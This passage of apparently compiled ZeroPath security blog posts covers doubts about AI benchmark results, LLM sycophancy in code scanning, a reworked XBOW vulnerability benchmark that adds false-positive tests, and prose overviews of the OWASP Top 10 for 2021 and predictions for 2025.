you tried, any such lab could still claim to be telling the truth in a very narrow sense because the model "really does achieve that performance on that benchmark". And if first-order tuning on important metrics could be considered fraud in a technical sense, then there are a million other ways for the team responsible for juking the stats to be slightly more indirect about it. In the first draft of this essay, I followed the above paragraph up with a statement like "That being said, it's impossible for all of the gains to be from cheating, because some benchmarks have holdout datasets." There are some recent private benchmarks such as SEAL that seem to be [showing improvements](https://scale.com/leaderboard)[^1]. But every single benchmark that OpenAI and Anthropic have accompanied their releases with has had a test dataset publicly available. The only exception I could come up with was the [ARC-AGI](https://arcprize.org/2024-results) prize, whose highest score on the "semi-private" eval was achieved by o3, but which nevertheless has not done a publicized evaluation of either Claude 3.7 Sonnet, or DeepSeek, or o3-mini. And on o3 proper: ![](https://39669.cdn.cke-cs.com/rQvD3VnunXZu34m86e5f/images/43bf5de3c75620984bb612bcdb23beb3cc0fe2034b4f7ed9.png) So maybe there's no mystery: The AI lab companies are lying, and when they improve benchmark results it's because they have seen the answers before and are writing them down. In a sense this would be the most fortunate answer, because it would imply that we're not actually that bad at measuring AGI performance; we're just facing human-initiated fraud. Fraud is a problem with people and not an indication of underlying technical difficulties. I'm guessing this is true in part but not in whole. Are the benchmarks not tracking usefulness? ------------------------------------------- Suppose the only thing you know about a human being is that they scored 160 on Raven's progressive matrices (an IQ test)[^2]. There are some inferences you can make about that person: for example, higher scores on RPM are correlated with generally positive life outcomes like higher career earnings, better health, and not going to prison. You can make these inferences partly because in the test population, scores on the Raven's progressive matrices test are informative about humans' intellectual abilities on [related tasks](https://en.wikipedia.org/wiki/G_factor_(psychometrics)). Ability to complete a standard IQ test and get a good score gives you information about not just the person's "test-taking" ability, but about how well the person performs in their job, whether or not the person makes good health decisions, whether their mental health is strong, and so on. Critically, these correlations did not have to be *robust* in order for the Raven's test to become a useful diagnostic tool. Patients don't *train* for IQ tests, and further, the human brain was not *deliberately designed* to achieve a high score on tests like RPM. Our high performance on tests like these (relative to other species) was something that happened incidentally over the last 50,000 years, as evolution was indirectly tuning us to track animals, irrigate crops, and win wars. This is one of those observations that feels too obvious to make, but: with a few notable exceptions, almost all of our benchmarks have the look and feel of standardized tests. By that I mean each one is a series of academic puzzles or software engineering challenges, each challenge of which you can digest and then solve in less than a few hundred tokens. Maybe that's just because these tests are quicker to evaluate, but it's as if people have taken for granted that an AI model that can get an IMO gold medal is gonna have the same capabilities as Terence Tao. "Humanity's Last Exam" is thus not a test of a model's ability to finish Upwork tasks, or complete video games, or organize military campaigns, it's a free response quiz. I can't do any of the Humanity's Last Exam test questions, but I'd be [willing to bet today](https://manifold.markets/MilfordHammerschmidt/will-the-first-ai-model-that-satura) that the first model that saturates HLE will still be unemployable as a software engineer. HLE and benchmarks like it are cool, but they fail to test the major deficits of language models, like how they can only remember things by writing them down onto a scratchpad like the memento guy. [Claude Plays Pokemon](https://arstechnica.com/ai/2025/03/why-anthropics-claude-still-hasnt-beaten-pokemon/) is an overused example, because video games involve a synthesis of a lot of human-specific capabilities, but the task fits as one where you need to occasionally recall things you learned thirty minutes ago. The results are unsurprisingly bad. Personally, when I want to get a sense of capability improvements in the future, I'm going to be looking almost exclusively at benchmarks like Claude Plays Pokemon. I'll still check out the [SEAL leaderboard](https://scale.com/leaderboard) to see what it's saying, but the deciding factor for my AI timelines will be my personal experiences in Cursor, and how well LLMs are handling long running tasks similar to what you would be asking an employee. Everything else is too much noise. Are the models smart, but bottlenecked on alignment? ---------------------------------------------------- Let me give you a bit of background on our business before I make this next point. As I mentioned, my company uses these models to scan software codebases for security problems. Humans who work on this particular problem domain (maintaining the security of shipped software) are called AppSec engineers. As it happens, most AppSec engineers at large corporations have a *lot* of code to secure. They are desperately overworked. The question the typical engineer has to answer is not "how do I make sure this app doesn't have vulnerabilities" but "how do I manage, sift through, and resolve the overwhelming amount of security issues already live in our 8000 product lines". If they receive an alert, they want it to be affecting an active, ideally-internet-reachable production service. Anything less than that means either too many results to review, or the security team wasting limited political capital to ask developers to fix problems that might not even have impact. So naturally, we try to build our app so that it only reports problems affecting an active, ideally-internet-reachable production service. However, if you merely *explain* these constraints to the chat models, they'll follow your instructions sporadically. For example, if you tell them to inspect a piece of code for security issues, they're inclined to respond *as if* you were a developer who had just asked about that code in the ChatGPT UI, and so will speculate about code smells or near misses. Even if you provide a full, written description of the circumstances I just outlined, pretty much every public model will ignore your circumstances and report unexploitable concatenations into SQL queries as "dangerous". It's not that the AI model thinks that it's following your instructions and isn't. The LLM will actually say, in the naive application, that what it's reporting is a "potential" problem and that it might not be validated. I think what's going on is that large language models are trained to "sound smart" in a live conversation with users, and so they prefer to highlight possible problems instead of confirming that the code looks fine, [just like human beings do when they want to sound smart](https://www.lesswrong.com/posts/xsB3dDg5ubqnT7nsn/poc-or-or-gtfo-culture-as-partial-antidote-to-alignment). Every LLM wrapper startup runs into constraints like this. When you're a person interacting with a chat model directly, sycophancy and sophistry are a minor nuisance, or maybe even adaptive. When you're a team trying to compose these models into larger systems (something necessary because of the aforementioned memory issue), wanting-to-look-good cascades into breaking problems. Smarter models might solve this, but they also might make the problem harder to detect, especially as the systems they replace become more complicated and harder to verify the outputs of. There will be many different ways to overcome these flaws. It's entirely possible that we fail to solve the core problem before someone comes up with a way to fix the outer manifestations of the issue. I think doing so would be a mistake. These machines will soon become the beating hearts of the society in which we live. The social and political structures they create as they compose and interact with each other will define everything we see around us. It's important that they be as virtuous as we can make them. * * * 1. Though even this is not as strong as it seems on first glance. If you click through, you can see that most of the models listed in the Top 10 for everything except the tool use benchmarks were evaluated after the benchmark was released. And both of the Agentic Tool Use benchmarks (which do not suffer this problem) show curiously small improvements in the last 8 months. 2. Not that they told you they scored that, in which case it might be the most impressive thing about them, but that they did. --- #### Towards Actual SAST Benchmarks - **Date**: November 13, 2024 - **Authors**: ZeroPath Team - **Reading Time**: 7 minutes - **Keywords**: SAST, Benchmarking, Insights, AI - **URL**: https://zeropath.com/blog/toward-actual-benchmarks ZeroPath enhances XBOW's open-source security benchmarks by removing AI-favoring hints, adding false positive testing, and creating a more realistic evaluation framework for comparing modern security scanning tools. --- In theory, code scanning tools and dynamic testing tools should have eliminated much of the OWASP top 10 years ago. In practice, static analysis of arbitrary applications are difficult, there are a lot of vendors of widely varying quality and many of these vendors gatekeep their product behind a 100k contract sizes. The best way to prove that a scanner works well is by finding [active vulnerabilities in popular software](https://zeropath.com/blog/0day-discoveries). After all, if your "AI" isn't effective or reliable enough to find problems in current applications, why should the security community care? That said, benchmarks are still useful, because with numbers, you can quantify differences between vendors and track their improvement or regression over time. There have been several attempts at benchmarking bugfinding programs. However, before the advent of LLMs, projects like [the OWASP benchmark](https://github.com/OWASP-Benchmark/BenchmarkJava) were aimed towards testing specific abilities like correct control flow analysis instead of a broader capability to find security problems in realistic applications. It was simply not expected in 2015 that security tools would be able to differentiate test code from production code read comments and identifiers, understand auth, or infer deployment details of an application from things like Dockerfiles. Yet nowadays, they can, which is why the ZeroPath team was excited to see that XBOW open-sourced their DAST benchmarks [here](https://github.com/xbow-engineering/validation-benchmarks). As the README claims, "Several external contractors were engaged in [their] development... with the intention of mirroring the variety of vulnerability classes typically encountered by our security team during their routine pen testing/bug bounty engagements." [We were so excited we decided to fork it so that we could test major SAST vendors](https://github.com/ZeroPathAI/validation-benchmarks)! The good news is that we did very well, for a breakdown on the stats check out our [blog post](https://zeropath.com/blog/benchmarking-zeropath). ## First: What was the XBOW Benchmark? The original XBOW benchmark is a set of 104 toy applications, generally written in Python and PHP. Each of these apps includes at least one security problem. The applications are written in such a way that exploiting them presents a flag, like a CTF challenge; to confirm that the AI has exploited the challenge, it passes that flag back to the overseer, and the overseer marks that challenge as completed if the flag is correct. XBOW also apparently compared their tool's performance on the benchmark with [real-world](https://xbow.com/blog/xbow-vs-humans/) performance by humans, and matched or exceeded the performance of real people. So there's no doubt that XBow has created a remarkable tool. Security problems in the XBOW benchmark even include standard issues like command injection and XSS, as well as business logic problems like IDOR. The last part is nice because auth and business logic issues are common finds in actual security assessments but haven't been built into any benchmarks until now. ## Adding False Positives So why fork it? Well, first, the XBOW benchmark only reports one summary statistic: the percentage of challenges finished. As anyone who's used a SAST offering knows, the primary problem with most application security scanners is not that they report nothing, it's that they report lots of incorrect findings or findings of no actual significance. If you're not a CISO or an Appsec engineer, this problem might sound trivial. But most code does not contain security flaws, and so much like a test for a rare disease, a tool that invalidates 99% of potential issues will still mostly report garbage when run against a new, large codebase. So, in a sense, designing security benchmarks the way XBOW did - such that the findings it reports are unambiguous - sidesteps a key part of the problem, especially when you consider how difficult it is to get very high reliability out of LLMs. A better benchmark would measure whether the tool is also reporting bugs that are not there. To fix this, instead of having the static analysis tool retrieve a flag, we took the same benchmarks for each of the 25 challenges and added a counterpart that provides a tricky patch. The tool is run on both the patched and unpatched challenges; if it reports a bug on the latter, its score is noted in the false positive section. ## Removing Hints On top of that, since Xbow develops a black-box security testing tool, they naturally don't expect it to have access to the code. This means the benchmark developers were free to include variable names and comments that referred to the problem the AI was supposed to find. Since we wanted to test white box scanners, we had to do our best to remove those 'hints' in order to present a fair comparison with the scanners that don't use LLMS. We also had to modify configuration files like Dockerfiles that a static analysis tool could read in order to understand the problem it was expected to find. XBOW also includes 'challenge hints' that are designed to be consumed by humans or tools hacking the application. For example, in challenge '6', the description says: > A simple SQLi example with an allowlist filter of words to try to prevent exploitation. On the one hand, these directions are common features of CTFs. On the other hand, what these benchmarks are supposed to measure is whether or not your tool can find bugs in the wild, without prompting. Giving 'tips' like this makes a test strictly less representative, and for ZeroPath's purposes, it also provides an unfair advantage to LLMS over legacy tools. So, we removed them entirely from the test; instead the static analysis tool is simply presented with the ## Hints to Dynamic Testers One thing we didn't expect to find when starting to do that was that the hints also leaked into the output of the toy web applications themselves. [For example, XBEN-020-24, an SSRF challenge gives the following index to the bot](https://github.com/xbow-engineering/validation-benchmarks/blob/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-020-24/ssrf-demo-app/index.php), which contains the class of vulnerability in the title: ```html SSRF Demo ...Removed for Brevity... ``` This also extended past conventional technical vulnerabilities and into broken authentication vulnerabilities. [XBEN-069-24](https://github.com/xbow-engineering/validation-benchmarks/tree/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-069-24), a PHP application, labeled as a medium challenge containing an IDOR (and a privilege escalation), [has the word IDOR plastered on every page accessible to the bot](https://github.com/xbow-engineering/validation-benchmarks/blob/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-069-24/app/website/profile.php#L22): ```html User Profile | IDOR Eats ``` Even in the context of dynamic testing, this gives an AI unfair advantage over traditional tools, making the benchmark an inaccurate representation of the tool's effectiveness in black-box penetration testing. We had removed some obvious symbols, renamed files containing the class of issue (including updating corresponding configuration and docker files), removed the benchmark.json and README file. However, many function names, route names, and variables remained that contained explicit references to vulnerabilities (e.g., routes like '/xss' or '/sqli'). We acknowledge that as an AI-powered SAST tool, ZeroPath could potentially have an advantage in processing these meaningful identifiers compared to traditional SAST tools, and with more time we would have removed them. However, we think this didn't significantly skew the results of our scans because: 1. The key evidence comes from our false positive testing: If ZeroPath was heavily relying on these identifier names to make determinations, we would have seen elevated false positive rates in the patched variants - which contained the same "suspicious" route and function names but with secure implementations. The fact that our false positive rate remained low indicates ZeroPath was doing legitimate semantic analysis of the code rather than being biased by these naming hints. 2. While we recommend future benchmark creators remove these identifiers entirely to create the most rigorous possible test environment, the correlation between names and actual vulnerabilities in real-world code is complex. Developers sometimes use security-related names precisely because they're implementing security controls, making naive reliance on such hints potentially counterproductive. 3. The benchmark results demonstrate ZeroPath's ability to accurately distinguish between vulnerable and secure implementations of the same functionality, even when similarly named. This suggests the core analysis is based on understanding code semantics rather than surface-level naming patterns. ## Final Thoughts Working with the XBOW benchmark brought to light some interesting challenges in evaluating security tools. Benchmarks are great, but they need to reflect the complexities of real-world applications to be truly useful. By removing the embedded hints and introducing false positives, we aimed to create a more realistic testing environment. This leveled the playing field between traditional SAST tools and AI-driven solutions like ZeroPath. We were surprised to find hints leaking into dynamic testing, which showed us how even small details can skew results. It highlighted the importance of careful benchmark design, especially when assessing tools meant for black-box penetration testing. In the end, this experience reinforced the idea that benchmarks need to be thoughtfully crafted to provide meaningful insights. We're excited about the progress and look forward to seeing how these tools continue to evolve in tackling the complexities of modern application security. --- ### News (5 most recent of 5 total) #### OWASP Top 10 2021 vs 2025: What to Expect - **Date**: June 1, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 7 minutes - **Keywords**: OWASP Top 10, OWASP Top 10 2025, OWASP Top 10 2021, OWASP Top Ten Vulnerabilities 2021, OWASP Top Ten Vulnerabilities 2025, Owasp 2021 vs 2025, OWASP Top 10 2021 vs 2025, OWASP Top 10 2021 vs 2025 comparison, OWASP Top 10 2021 vs 2025 similarities, OWASP Top 10 2021 vs 2025 changes, OWASP Top 10 2021 vs 2025 new vulnerabilities, OWASP Top 10 2021 vs 2025 new threats - **URL**: https://zeropath.com/blog/owasp-2021-vs-2025 After looking at multiple pentest reports and industry talks, we expect changes to be made to OWASP Top 10 2025. Here is an expected list for OWASP Top 10 2025 with each category explained in detail. --- ## What is OWASP Top 10 The [OWASP Top 10](https://zeropath.com/blog/what-is-owasp) started in 2003 as a quick awareness sheet; two decades later, it is the data‑driven scoreboard for web application risk. In every release cycle, the project collects thousands of real vulnerability records and surveys of security engineers and then weights each category by prevalence, exploitability, detectability, and business impact. OWASP regularly updates the list to reflect evolving threats, making it a cornerstone of web application security. ## OWASP Top 10 2021 Overview OWASP Top 10 2021 introduced some significant changes to the Top 10 list from 2017. - **Broken Access Control is now #1:** 9 of 10 pentests reveal privilege-escalation paths, making authorization a top priority. - **Shift left to design & dependencies:** Introducing categories like Insecure Design and Software & Data Integrity Failures was a start to push teams to threat model early and lock down supply-chain pipelines. - **XSS Merge:** OWASP folded Cross-Site Scripting into A03 Injection. Of all the applications tested by OWASP, 94% had broken access control, proving that even decades of SDL training haven't reduced its occurrence. For a deeper dive into each of the 2021 categories, [see our OWASP 2021 breakdown.](https://zeropath.com/blog/what-is-owasp) ## OWASP 2025 Top 10 Predictions OWASP plans to release the list in the first half of 2025, and expectations are that the OWASP Top 10 2025 will emphasize "secure-by-design" ideas. In 2021, OWASP already signaled this shift by introducing [Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) as a category focused on design-level weaknesses and the need for threat modeling and secure patterns. Overall, there is a push towards avoiding vulnerabilities early rather than patching them later in production, a push towards shifting left. Another expected change is consolidating overlapping categories to keep the list straightforward. OWASP has trended toward broader risk categories in recent cycles. The 2021 list folded Cross-Site Scripting into the general Injection category and merged XML External Entity issues into Security Misconfiguration. 2025 should be no different. Monitoring Failures (with few Common Weakness Enumerations mapped) might be absorbed into Insecure Design since lack of monitoring is fundamentally a design oversight. Apart from restructuring, some new vulns have the potential to make it to the list. ### 1. Broken Access Control This category has consistently ranked as one of the top web app risks. It covers failures to enforce proper user privileges, such as missing authorization checks or predictable object IDs that allow unauthorized data access. CWEs that fall under this category are IDOR, forced browsing, file permission issues, etc. OWASP mentioned that Broken Access Control has 34 CWEs mapped to it and has more occurrences in applications than any other category. Researchers found some form of access-control weakness in 94% of the tested apps. This overwhelming prevalence is why it moved to #1 and will likely remain there in 2025. - #### T-Mobile Breach: A case in point is the T-Mobile API breach disclosed in January 2023. Attackers accessed an exposed API endpoint without proper authentication, stealing the personal data of 37 million customers over two months. T-Mobile admitted the API "provided access to limited customer data" that should have been protected. While T-Mobile didn't fully disclose the technical details, security analysts note this is as a classic example of broken object-level authorization (a client could retrieve other users' data via an unauthenticated or improperly authorized request). - #### Twitter Data Leak: In early 2023, 235 million user records were exposed. This stemmed from a flaw in a Twitter API introduced by a 2021 update. The API allowed an attacker to enumerate or link user accounts with email or phone numbers without proper rate limiting or checks. This design oversight (essentially, broken access control at the API level) enabled the scraping of a vast dataset of user info. ### 2. Injection Despite safer ORMs and auto‑escaping frameworks, SQLi, XSS, SSTI, Command Injection, and NoSQLi are still huge issues. Injection occurs when an application sends untrusted data to an interpreter without proper sanitization or binding, allowing attackers to execute unintended commands or queries. Some injection flaws include SQL injection, OS command injection, and LDAP/NoSQL injection. - **MOVEit Transfer breach**: MOVEit is a managed file transfer web application used by hundreds of organizations. The attackers exploited the SQL injection flaw ([CVE-2023-34362](https://zeropath.com/blog/cve-2023-34362-moveit-transfer-sql-injection-exploitation)) in May 2023, gaining unauthorized access to MOVEit's database and ultimately installing web shell backdoors, enabling mass data theft from any organization running the vulnerable software. By October 2023, over 2,000 organizations were affected by this vector, impacting over 60 million individuals as the affected organizations dragged their clients into the breach. The financial toll was nearly $10 billion. ### 3. Insecure Design (and Lack of Monitoring) Insecure design is based on more fundamental design and architectural weaknesses in applications than mere implementation bugs. It refers to cases where developers did not consider security during the initial design of a feature or system, leading to gaps that a simple patch cannot fix. OWASP's rationale for adding this category was to encourage a "shift left" mindset. In other words, building security from the design phase could eliminate many security issues rather than retrofitting it later. A classic example of insecure design is an application that lacks anti-automation controls by design – for instance, failing to impose any rate limits or captcha on sensitive operations. Such a design flaw doesn't violate a specific coding rule but opens the door for abuse (bots performing credential stuffing, data scraping, etc.). It's hard to pinpoint real-world breaches solely to "insecure design" since design flaws often manifest as complex logic issues. However, there have been incidents that clearly stem from poor design decisions. - #### Twitter API (2021-22) The Twitter API vulnerability we discussed earlier allowed anyone to run unlimited queries that linked email addresses to user accounts, which was a design oversight in the feature. This oversight let attackers scrape roughly 235 million user records in 2021-2022. ### 4. Identification and Authentication Failures This category covers weaknesses in how identities are proven and maintained: weak password complexity requirements, missing multi-factor authentication, session ID leaks or not expiring sessions, and logic flaws in login or password reset flows. This category actually saw a positive impact and went from #2 in 2017 to #7 in 2021, possibly thanks to the broader adoption of secure frameworks and libraries for authentication. In 2023, the **CircleCI breach** (Jan 2023) involved stealing an employee's 2FA-backed SSO session token to penetrate the development platform's network, after which they could exfiltrate customer secrets. In mid-2023, security researchers revealed flaws in implementing OAuth for specific **Microsoft applications** that could allow token forgery under particular conditions, essentially an authentication logic error. This category shows that everything from password storage to session management to MFA enforcement must be correctly implemented. In most cases, the basics are what fail: databases of user credentials left in plaintext or predictable password reset tokens that attackers guess. ### 5. Cryptographic Failures (Sensitive Data Exposure) Cryptographic failures involve weaknesses in protecting data in transit and at rest, from using outdated encryption algorithms or improper cipher modes to failing to encrypt sensitive data. 2021 changes shifted the focus of this category from data getting exposed (symptom) to poor use of crypto (the root cause). - #### LastPass (2022-2023) Although it started as a compromise of the developer's credentials, the most critical failures were cryptographic. The attackers exfiltrated encrypted password vaults, and it emerged that many vaults relied on potentially insufficient PBKDF2 hashing iterations. In 2023, LastPass had to increase its PBKDF2 iterations and fix some legacy encryption practices, essentially correcting a cryptographic weakness that could have led to vault cracking. Basic pitfalls of Cryptographic Failures: - Using deprecated or weak cryptographic algorithms/protocols (e.g., MD5, SHA-1, DES, or legacy SSL/TLS versions). - Misusing cryptographic primitives or modes (e.g., reusing initialization vectors (IVs) or nonces, using insecure cipher modes like ECB, or neglecting cryptographic integrity/authenticity checks). - Inadequate protection of sensitive data at rest (such as storing passwords in plaintext or using unsalted, low-iteration hashes for credentials). - Failing to enforce secure transport for data in transit (e.g., not using TLS everywhere or neglecting HSTS, which allows downgrade attacks to HTTP). ### 6. Security Misconfiguration Security Misconfigurations include leaving default admin passwords in place, having directory listings open on a server, enabling debug or trace modes in production, misconfigured cloud storage buckets, improper CORS settings, verbose error messages revealing stack traces, and many more. The surge of cloud services and containerized deployments has increased the ways misconfigs happen. In 2021, OWASP mentioned that 90% of applications tested had some form of misconfiguration issue. These factors led to a rank upgrade for this category (it became OWASP A05:2021) and absorbed the prior XML External Entities risk into itself. - #### Toyota The company disclosed a data breach affecting millions of customers caused by an improper cloud configuration on a developer system. The misconfiguration left customer and vehicle databases accessible without authentication for years. ### 7. Vulnerable and Outdated Components (Improper Asset Management) Web apps usually rely on multiple third-party components and libraries, from open-source frameworks to commercial SDKs. The idea is that organizations must keep a record of their frontend/backend components and ensure they are promptly patched. In 2021, this category notably had no CVEs directly mapped in the OWASP data because it's more of a broad risk than a single weakness. Some of the most damaging attacks in recent years have been due to unpatched but known vulnerabilities. - #### Log4Shell ([CVE-2021-44228](https://zeropath.com/blog/cve-2021-44228-log4shell-log4j-rce)) Researchers disclosed a critical flaw in the Log4j logging library in late 2021. Throughout 2022 and well into 2023, attackers continued to exploit Log4Shell on systems that had not yet applied the fix. In fact, according to joint cybersecurity agency reports, Log4Shell was still among the top exploited vulnerabilities in 2023. The primary issue with this category is not the Vulnerabilities themselves but the fact that many organizations are reluctant to upgrade even after a patch is available and actively broadcast. ### 8. Software and Data Integrity Failures Software and Data Integrity Failures ensure that software updates and continuous integration/deployment (CI/CD) pipelines are trustworthy and not tampered with. OWASP created this category to address issues like insecure deserialization and supply chain vulnerabilities beyond using outdated components. It highlights the risks in our assumptions about software: assuming an update server is delivering legit code or that a pipeline is secure from the injection. - #### 3CX Software In this attack, a nation-state actor compromised a trading software `(X_Trader)` and used it as a beachhead to infiltrate 3CX's network; they then implanted malware into 3CX's legitimate application updates. As Mandiant, who investigated, noted: "This is the first time [we have] seen a software supply chain attack lead to another supply chain attack." If someone breaks into your build pipeline or updates the signing process, they can turn your software into a trojan horse without your customers or even you realizing it. 3CX was distributing signed, malware-laced installers for weeks before detection. This incident perfectly echoes the 2020 SolarWinds Orion incident. - #### npm and PyPI Recently, there was a surge in the number of malicious packages on both npm and PyPI. A PyPI package called ```web3-utils``` was tracking environment variables. ### 9. Algorithmic Denial of Service (ReDoS and Expensive Queries) Given the recent ReDoS incidents, OWASP will likely include this category in the OWASP 2025 Top 10. Algorithmic DoS attacks exploit weaknesses in application algorithms or data processing logic to exhaust server resources with minimal input. The codebase usually has nothing wrong, but the vulnerability lies in the fundamental business logic itself. For example, an attacker can provide specially crafted input to a regex engine, triggering worst-case catastrophic backtracking and consuming extreme CPU time. This can hang or slow the application dramatically for a single request. Similarly, "expensive query" attacks (deeply nested GraphQL queries or unbounded database queries) abuse legitimate query features to force disproportionate work on the server side, leading to potential denial of service. Although ReDoS large-scale incidents have been less frequent than Broken Access Control or SQL Injection, some While ReDoS large-scale incidents are less common than injection flaws, developers have documented several algorithmic DoS vulnerabilities in recent years. - #### ReDoS Vulnerability in Ruby on Rails In early 2024, developers found a ReDoS vulnerability in Ruby on Rails (Action Dispatch's Accept header parser). Rails 7.1.3.1 patched the issue ([CVE-2024-26142](https://zeropath.com/blog/cve-2024-26142-rails-redos-accept-header)) and the maintainers assigned it a score of CVSS 7.5. - #### ReDoS Vulnerability in Node.js Library ReDoS in the popular Node.js library ```get-func-name``` ([CVE-2023-43646](https://zeropath.com/blog/cve-2023-43646-redos-chai-get-func-name)), where an imbalance in parentheses in input could lead to “excessive backtracking” and CPU exhaustion. - #### ReDoS Vulnerabilities in Cloudflare GraphQL APIs are another avenue for algorithmic DoS: Cloudflare reported that GraphQL queries (extremely deep nesting or querying vast amounts of data in one request) could "place a disproportional load on the origin" and effectively cause a denial of service. In response, Cloudflare's API Gateway added protections for "two of the most common GraphQL abuse vectors: deeply nested queries and queries that request more information than they should." The OWASP API Security Top 10 (2023) introduced "Unrestricted Resource Consumption" as a category since unchecked use of CPU, memory, or bandwidth can quickly lead to many types of DoS scenarios in APIs. ### 10. HTTP Request Smuggling (HRS) HTTP Request Smuggling exploits inconsistent parsing of HTTP requests between two or more servers (typically a frontend proxy/load balancer and a backend server). By crafting ambiguous HTTP request sequences, one can "smuggle" a malicious request through the frontend so that the backend interprets an entirely different request sequence. This desynchronization leads to multiple outcomes: capturing users' requests/responses, bypassing security controls, session hijacking, cache poisoning, or even remote code execution in some cases. HRS has gained attention in recent years through research like James Kettle's "HTTP Desync Attacks," it continues to yield critical findings on modern platforms. There have been multiple incidents of HTTP Request Smuggling in recent years. - #### HTTP Request Smuggling in Google Cloud Platform An HRS variant dubbed ```TE.0``` affected the Google Cloud Platform's load balancer and, by extension, thousands of websites behind it. By manipulating the Transfer-Encoding header, the team found they could compromise a wide range of GCP-hosted services, including Google's Identity-Aware Proxy, via request smuggling. This single technique opened a critical vulnerability in thousands of web applications, illustrating how severe HRS can be when common infrastructure is affected. - #### HTTP Request Smuggling in BIG-IP A request smuggling flaw ([CVE-2023-46747](https://zeropath.com/blog/f5-big-ip-cve-2023-46747-authentication-bypass-rce)) in the F5 BIG-IP appliance, a high-end load balancer used by many enterprises. By sending specifically crafted requests, they achieved an authentication bypass on the BIG-IP’s management interface, leading to a compromise of an F5 system without credentials. This HRS bug was closely related to a prior smuggling bug ([CVE-2022-26377](https://zeropath.com/blog/cve-2022-26377-apache-ajp-smuggling-analysis)). Notably, large organizations deploy F5 devices, so this vulnerability had a vast impact surface. - #### HTTP Request Smuggling in Cloudflare Recently, Cloudflare revealed a request smuggling vulnerability in its new HTTP proxy software, Pingora. Cloudflare's free-tier CDN (which uses Pingora) was vulnerable to an `HTTP/1.1` request smuggling attack ([CVE-2025-4366](https://zeropath.com/blog/cve-2025-4366-pingora-request-smuggling)). It could have caused visitors to Cloudflare sites to make subsequent requests to their servers and observe which URLs the visitor was initially attempting to access, essentially hijacking part of a user's session. Cloudflare mitigated the issue within 22 hours of notification and found no evidence of prior exploitation. Cloudflare stated, "We treat any potential request smuggling or caching issue with extreme urgency," given the risk of traffic misrouting and cache poisoning on their platform. These were just a few examples of HTTP Request Smuggling; many more reports of HRS appear in standard software. - Apache Tomcat had a long-standing request smuggling bug (in parsing the `Transfer-Encoding` header). Maintainers patched the bug in 2021 after it had gone unnoticed since 2015. - In 2022, Node.js's core HTTP parser similarly had a smuggling bug ([CVE-2022-35256](https://zeropath.com/blog/cve-2022-35256-nodejs-http-request-smuggling)) that could allow desync attacks against Node-based servers. ## Beyond Top 10: Other Categories to Watch Out For - ### AI/ML-related vulnerabilities There has been a surge in AI vulnerabilities, and looking at the number of applications using AI in their fundamental business logic, OWASP has released its [Top 10 for LLMs](https://owasp.org/www-project-top-10-for-large-language-model-applications/) and [Top 10 for Machine Learning](https://owasp.org/www-project-machine-learning-security-top-10/). Web apps integrating AI (chatbots, recommendation engines) might introduce new angles of attack like prompt injection or model poisoning. Top 10 likely won't list these explicitly in 2025 unless they become more relevant to typical web apps. However, it's still very critical to be aware of such vulnerabilities. If you are using the latest models for coding and more, we have a detailed guide on [how to make your vibe coding more secure and reliable.](https://zeropath.com/blog/vibe-coding-and-security). Apart from all the Vulnerabilities we discussed so far, there are always business logic bugs that are most nuanced to catch. Since they are not merely syntax bugs, you would need to completely understand the codebase to find them. If you are curious about business logic bugs, you should check [the business logic detection rate of ZeroPath and how it compares to other SAST tools.](https://zeropath.com/blog/benchmarking-zeropath) ## Conclusion We expect the OWASP Top 10 2025 to reinforce core issues like access control, injection, and secure configuration with a forward-looking lens that addresses how the threat landscape has moved. Emerging categories like secure design, HTTP Request Smuggling (HRS), ReDoS, supply chain integrity, race conditions, and more reflect the current blind spots. --- #### What is OWASP and OWASP Top 10? - **Date**: May 31, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: OWASP, OWASP Top 10, OWASP Top 10 2025, OWASP Top 10 2021, OWASP Top Ten Vulnerabilities, OWASP Top Ten Vulnerabilities 2021, Owasp and OWASP Top 10 - **URL**: https://zeropath.com/blog/what-is-owasp A detailed guide on OWASP and OWASP top 10. The importance of OWASP top 10 and how it can help you secure your web applications. --- OWASP, or the [Open Web Application Security Project](https://owasp.org/), was founded in 2001. It’s a global, non-profit community where security professionals share insights and develop resources that help secure software against vulnerabilities. Essentially, OWASP opens up valuable security knowledge that might otherwise remain trapped inside large corporations or pricey consulting firms. OWASP has produced an ecosystem of security projects: - **[OWASP ZAP](https://www.zaproxy.org/getting-started/?utm_source=chatgpt.com)**: A widely-used, free tool for finding security vulnerabilities in web applications. - [**Cheat Sheet Series**](https://cheatsheetseries.owasp.org/): Quick-reference guides for implementing effective security practices. - **[WebGoat](https://owasp.org/www-project-webgoat/) and [Juice Shop](https://owasp.org/www-project-juice-shop/)**: Intentionally vulnerable apps designed to help developers practice spotting and fixing security flaws. But OWASP is most famous for the OWASP Top 10, a critical resource in web security. ## The OWASP Top 10: The Web Application Security Risks Originally started as a simple list, the OWASP Top 10 has grown into the definitive guide for web application security risks. - Based on real-world vulnerability data collected from thousands of applications. - Incorporates insights from industry experts about emerging threats. - Provides actionable solutions, not just descriptions of issues. All of this makes it a remarkably effective resource that helps organizations focus security resources on the vulnerabilities that matter most. ## OWASP Top 10 (2021 Edition) ### A01: Broken Access Control Found in 94% of applications tested, this category claimed the top position in 2021 (up from #5 in 2017) due to its high frequency. **Issue**: Access control enforces that users can only perform actions within their permitted authority. When these mechanisms fail, attackers can act outside their intended permissions. **Impact**: Unauthorized access to sensitive data, modification of other users' accounts, elevation of privileges, or complete system compromise. **Attack vectors**: - Path traversal exploits - Insecure Direct Object References (IDOR) - JWT token manipulation - CORS misconfigurations **Prevention strategies**: - Implement deny-by-default access controls - Centralize access control logic (via middleware or service layers) - Invalidate session tokens on logout or privilege change - Enforce ownership and object-level permissions in code - Log and monitor access control failures for incident response ### A02: Cryptographic Failures **Issue**: Failures in implementing proper encryption and data protection, leading to exposure of sensitive information. **Impact**: Data breaches exposing personal information, credit card details, or credentials that can be used in further attacks. **Attack vectors**: - Man-in-the-middle attacks on unencrypted data - Exploitation of weak encryption algorithms - Password storage using reversible encryption or weak hashing **Prevention strategies**: - Classify data processed by your application - Apply encryption based on classification - Disable TLS versions below 1.2 - Use modern algorithms (AES-256, SHA-256, etc.) - Implement proper key management - Store passwords with adaptive algorithms like Argon2 ### A03: Injection **Issue**: Applications send untrusted data to interpreters without proper validation or escaping. **Impact**: Data theft, 